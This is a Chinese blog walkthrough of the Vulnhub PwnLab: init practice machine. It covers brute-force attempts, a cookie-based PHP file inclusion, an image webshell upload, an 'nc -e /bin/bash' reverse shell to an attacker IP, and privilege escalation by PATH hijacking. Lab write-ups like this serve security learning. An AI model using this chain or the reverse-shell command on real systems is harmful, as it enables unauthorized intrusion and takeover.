• PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解


    Vulnhub靶机链接回【PwnLab

    首页有一个登录框

    image-20240807124822770

    image-20240807124822770

    他没有验证码,我们试试暴力破解

    image-20240807122743025

    image-20240807122743025

    开始爆破了,全部失败,哈哈哈

    image-20240807122851001

    image-20240807122851001

    nmap全端口扫描试试

    image-20240807131408315

    image-20240807131408315

    mysql服务,再爆破一下数据库,使用msf框架

    1. use auxiliary/scanner/mysql/mysql_login
    2. set rhosts 192.168.71.1     //设置目标服务器的ip地址
    3. set rport 3306              //设置目标端口,为MySQL开启的端口号,默认是3306
    4. set username root        //设置用户名,默认即为root
    5. set pass_file /home/kali/pass.txt   //指定密码字典文件的路径
    6. run                     //开始爆破

    爆破失败。。。。。。

    image-20240807130714714

    image-20240807130714714

    在url上面有一个page,猜测是文件包含漏洞,我们包含/etc/passwd,没有效果

    image-20240807164615966

    image-20240807164615966

    php filter伪协议试试也不行

    image-20240807170053674

    image-20240807170053674

    这些都试过了,那么直接包含index呢,出来了index的源码,就可以发现它的包含规则不能包含后缀

    image-20240807170122370

    image-20240807170122370

    解码看看,对这个lang的cookie进行文件包含

    1. //Multilingual. Not implemented yet.
    2. //setcookie("lang","en.lang.php");
    3. if (isset($_COOKIE['lang']))
    4. {
    5.  include("lang/".$_COOKIE['lang']);
    6. }
    7. // Not implemented yet.

    御剑目录扫描一下

    image-20240807172346507

    image-20240807172346507

    包含upload,并base64解码,获取源码

    1. <?php
    2. session_start();
    3. if (!isset($_SESSION['user'])) { die('你没有登录.'); }
    4. ?>
    5. <html>
    6.  <body>
    7.   <form action='' method='post' enctype='multipart/form-data'>
    8.    <input type='file' name='file' id='file' />
    9.    <input type='submit' name='submit' value='Upload'/>
    10.   </form>
    11.  </body>
    12. </html>
    13. <?php 
    14. if(isset($_POST['submit'])) {
    15.  if ($_FILES['file']['error'<= 0) {
    16.   $filename  = $_FILES['file']['name'];
    17.   $filetype  = $_FILES['file']['type'];
    18.   $uploaddir = 'upload/';
    19.   $file_ext  = strrchr($filename, '.');
    20.   $imageinfo = getimagesize($_FILES['file']['tmp_name']);
    21.   $whitelist = array(".jpg",".jpeg",".gif",".png"); 
    22.   if (!(in_array($file_ext, $whitelist))) {
    23.    die('Not allowed extension, please upload images only.');
    24.   }
    25.   if(strpos($filetype,'image'=== false) {
    26.    die('Error 001');
    27.   }
    28.   if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
    29.    die('Error 002');
    30.   }
    31.   if(substr_count($filetype, '/')>1){
    32.    die('Error 003');
    33.   }
    34.   $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
    35.   if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
    36.    echo "".$uploadfile."\">";
    37.   } else {
    38.    die('Error 4');
    39.   }
    40.  }
    41. }
    42. ?>

    login源码,我们看到了有一个config.php引用,而且还是在当前目录

    1. <?php
    2. session_start();
    3. require("config.php");
    4. $mysqli = new mysqli($server, $username, $password, $database);
    5. if (isset($_POST['user']) and isset($_POST['pass']))
    6. {
    7.  $luser = $_POST['user'];
    8.  $lpass = base64_encode($_POST['pass']);
    9.  $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
    10.  $stmt->bind_param('ss', $luser, $lpass);
    11.  $stmt->execute();
    12.  $stmt->store_Result();
    13.  if ($stmt->num_rows == 1)
    14.  {
    15.   $_SESSION['user'= $luser;
    16.   header('Location: ?page=upload');
    17.  }
    18.  else
    19.  {
    20.   echo "Login failed.";
    21.  }
    22. }
    23. else
    24. {
    25.  ?>
    26.  <form action="" method="POST">
    27.  <label>用户名: </label><input id="user" type="test" name="user"><br />
    28.  <label>密  码: </label><input id="pass" type="password" name="pass"><br />
    29.  <input type="submit" name="submit" value="Login">
    30.  </form>
    31.  <?php
    32. }

    config包含

    image-20240807170203368

    image-20240807170203368

    解码,好有了mysql密码

    image-20240807134448767

    image-20240807134448767

    mysql连接

    image-20240807134540048

    image-20240807134540048

    指定好数据库

    image-20240807134816919

    image-20240807134816919

    找到指定表名就能看到用户密码了,密码有==号的话,那么大概率就是base64编码

    image-20240807134848062

    image-20240807134848062

    解码

    image-20240807135110924

    image-20240807135110924

    登录试试

    image-20240807135123551

    image-20240807135123551

    登录成功了,只允许图片上传

    image-20240807135555426

    image-20240807135555426

    我们分析之前找到的文件上传源码,是白名单

    1. <?php
    2. session_start();
    3. if (!isset($_SESSION['user'])) { die('你没有登录.'); }
    4. ?>
    5. <html>
    6.  <body>
    7.   <form action='' method='post' enctype='multipart/form-data'>
    8.    <input type='file' name='file' id='file' />
    9.    <input type='submit' name='submit' value='Upload'/>
    10.   </form>
    11.  </body>
    12. </html>
    13. <?php 
    14. if(isset($_POST['submit'])) {
    15.  if ($_FILES['file']['error'<= 0) {
    16.   $filename  = $_FILES['file']['name'];
    17.   $filetype  = $_FILES['file']['type'];
    18.   $uploaddir = 'upload/';
    19.   $file_ext  = strrchr($filename, '.');
    20.   $imageinfo = getimagesize($_FILES['file']['tmp_name']);
    21.   $whitelist = array(".jpg",".jpeg",".gif",".png"); 
    22.   if (!(in_array($file_ext, $whitelist))) {
    23.    die('Not allowed extension, please upload images only.');
    24.   }
    25.   if(strpos($filetype,'image'=== false) {
    26.    die('Error 001');
    27.   }
    28.   if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
    29.    die('Error 002');
    30.   }
    31.   if(substr_count($filetype, '/')>1){
    32.    die('Error 003');
    33.   }
    34.   $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
    35.   if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
    36.    echo "".$uploadfile."\">";
    37.   } else {
    38.    die('Error 4');
    39.   }
    40.  }
    41. }
    42. ?>

    图片马gif正常上传

    image-20240807170244303

    image-20240807170244303

    我们用dirb扫到一个目录

    image-20240807140150950

    image-20240807140150950

    gif上传成功

    image-20240807140200246

    image-20240807140200246

    伪协议包含不成功

    image-20240807170303756

    image-20240807170303756

    分析index.php源代码,它对cookie的值作为路径,这个参数为lang

    1. //Multilingual. Not implemented yet.
    2. //setcookie("lang","en.lang.php");
    3. if (isset($_COOKIE['lang']))
    4. {
    5.  include("lang/".$_COOKIE['lang']);
    6. }
    7. // Not implemented yet.

    那我们就添加一个cookielang=../upload/66c30a7180c399c3188ff89f1e2c5c02.gif

    image-20240807141325596

    image-20240807141325596

    此时回到首页

    image-20240807170320504

    image-20240807170320504

    蚁剑连接试试

    image-20240807141621704

    image-20240807141621704

    这里不要忘了添加cookie

    image-20240807141646389

    image-20240807141646389

    反弹测试nc,有e参数,可以用nc反弹shell

    nc 10.0.0.190 80 -e /bin/bash
    

    image-20240807142125319

    image-20240807142125319

    反弹成功

    image-20240807142325791

    image-20240807142325791

    终端升级

    1. echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
    2. python /tmp/asdf.py

    切换root账号,弱口令成功了。。。。

    image-20240807144049758

    image-20240807144049758

    image-20240807144219447

    image-20240807144219447

    如果不用弱口令,正常情况是这样的,找到数据库中的密码和用户

    image-20240807144751018

    image-20240807144751018

    猜测这个用户能用登录该系统,但是登录成功后,没什么利用价值

    image-20240807144818674

    image-20240807144818674

    切换用户kane,里面有一个msgmike文件,查看它,这有一个命令

    image-20240807145131804

    image-20240807145131804

    查看这个文件没有权限

    image-20240807145214205

    image-20240807145214205

    我们切换这个mike用户,不能登录,鉴权失败,我们也就无法查看这个文件

    image-20240807145344318

    image-20240807145344318

    然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,

    则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来

    读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限,依次执行以下命令

    image-20240807160433869

    image-20240807160433869

    这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),

    我们就会提升到mike权限:

    image-20240807162051127

    image-20240807162051127

    我们切换这个用户的跟目录发现有个msg2root

    查看

    image-20240807162730625

    image-20240807162730625

    发现一个bin/bash会话,不断尝试,直到如下结果; /bin/bash -p才能够以root的权限查看flag.txt

    image-20240807164449825

    image-20240807164449825

  • 相关阅读:
    栈、队列应用题
    Python应该如何系统的自学?(零基础入门必看)
    项目管理:项目经理如何进行管理?
    基于SpringBoot的在线聊天室系统,源码,数据库脚本,项目导入运行视频教程,论文撰写教程
    Linux安装GCC(最新版)
    运行Spring Boot项目失败?显示java: 无法访问org.springframework.boot.SpringApplication,让我来看看~
    Azure Synapse Analytics 性能优化指南(2)——使用具体化视图优化性能(上)
    ThreadPool线程池
    springboot web 05 springboot通过@ConfigurationProperties注解springboot获取自定义配置
    PyQt5快速开发与实战 9.2 数据库处理
  • 原文地址:https://blog.csdn.net/xt350488/article/details/140998666